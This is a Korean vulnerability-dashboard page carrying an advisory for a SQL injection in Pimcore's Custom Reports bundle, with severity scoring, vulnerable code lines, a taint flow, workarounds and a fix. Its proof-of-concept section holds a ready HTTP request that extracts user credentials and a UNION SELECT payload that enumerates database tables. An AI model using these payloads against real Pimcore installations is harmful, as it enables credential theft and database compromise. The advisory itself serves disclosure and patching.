Kestrel
대시보드로 돌아가기
CVE-2026-55416HIGH· 8.8GHSA대응게시일: 2026. 09. 10.수정일: 2026. 09. 10.

Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.8high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.8HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

상세 설명

Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration

Summary

Impact

A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports_config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD_FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.

Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.

Patches

Versions 2026.1.6, 12.3.10, 11.5.19.

Workarounds

  1. Restrict reports_config permission to only highly trusted administrators
  2. Deploy a WAF rule to block requests to /admin/bundle/customreports/custom-report/update containing SQL keywords in the configuration parameter
  3. Replace the custom SQL adapter with a parameterized query builder approach

Attack Path (Validation Evidence)

sql
1[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
2 ↓ (requires reports_config permission + valid admin session)
3[Controller] CustomReportController::updateAction()
4 ↓ $configuration = decodeJson($request->request->getString('configuration'))
5[Config Store] Configuration saved to custom_reports database table
6[Config Load] Tool\Config::getByName() loads stdClass $config from DB
7
8[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
9 ↓ Directly concatenates config fields:
10[Vulnerable] $sql .= "\n" . $config['sql']; // Line 92
11 $sql .= "\n" . $config['from']; // Line 103
12 $sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110
13 $sql .= "\n" . $config['groupby']; // Line 117
14[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
15 ↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
16[Execution] $db->fetchAllAssociative($sql); // Line 54
17
18[Impact] Arbitrary SQL execution — full database compromise

Taint Flow (Validation Evidence)

bash
1Source: $request->request->getString('configuration') (HTTP POST body, user-controlled)
2 ↓ json_decode() → stdClass
3[Store] Persistent in database (custom_reports table)
4[Load] Config::getByName() → stdClass $config
5 ↓ ✗ No sanitization (only bypassable regex blacklist)
6[Sink] $db->fetchAllAssociative($concatenatedSql)
7
8Impact: Attacker-controlled SQL executed against the database

Proof of Concept

Steps

  1. Authenticate as an admin user with reports_config permission
  2. Send a report update request with malicious SQL in the configuration:

Request

http
1POST /admin/bundle/customreports/custom-report/update HTTP/1.1
2Host: <target-host>
3Content-Type: application/x-www-form-urlencoded
4Cookie: PHPSESSID=<valid_admin_session>
5
6name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D
  1. Access the report data endpoint to retrieve extracted user credentials
  2. Alternatively, the where field can be set to:
    sql
    11=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES
    to enumerate all database tables

Expected Result

The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.

Affected Component

  • File: bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php
  • Method: buildQueryString() (lines 84-135), getBaseQuery() (lines 137-216), getData() (lines 25-58)
  • Class: Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql

Fix Recommendation

Replace the custom SQL concatenation approach with a parameterized query builder:

bash
1// Instead of:
2$sql .= "\n" . $config['sql'];
3$sql .= "\n" . $config['from'];
4$sql .= "\n" . 'WHERE (' . $config['where'] . ')';
5
6// Use a whitelist-based approach:
7// 1. Only allow predefined table names from a whitelist
8// 2. Use Doctrine QueryBuilder for WHERE conditions
9// 3. Use parameterized queries for all user-supplied values
10// 4. Cast LIMIT/OFFSET to integers
11
12$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;

Resources

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.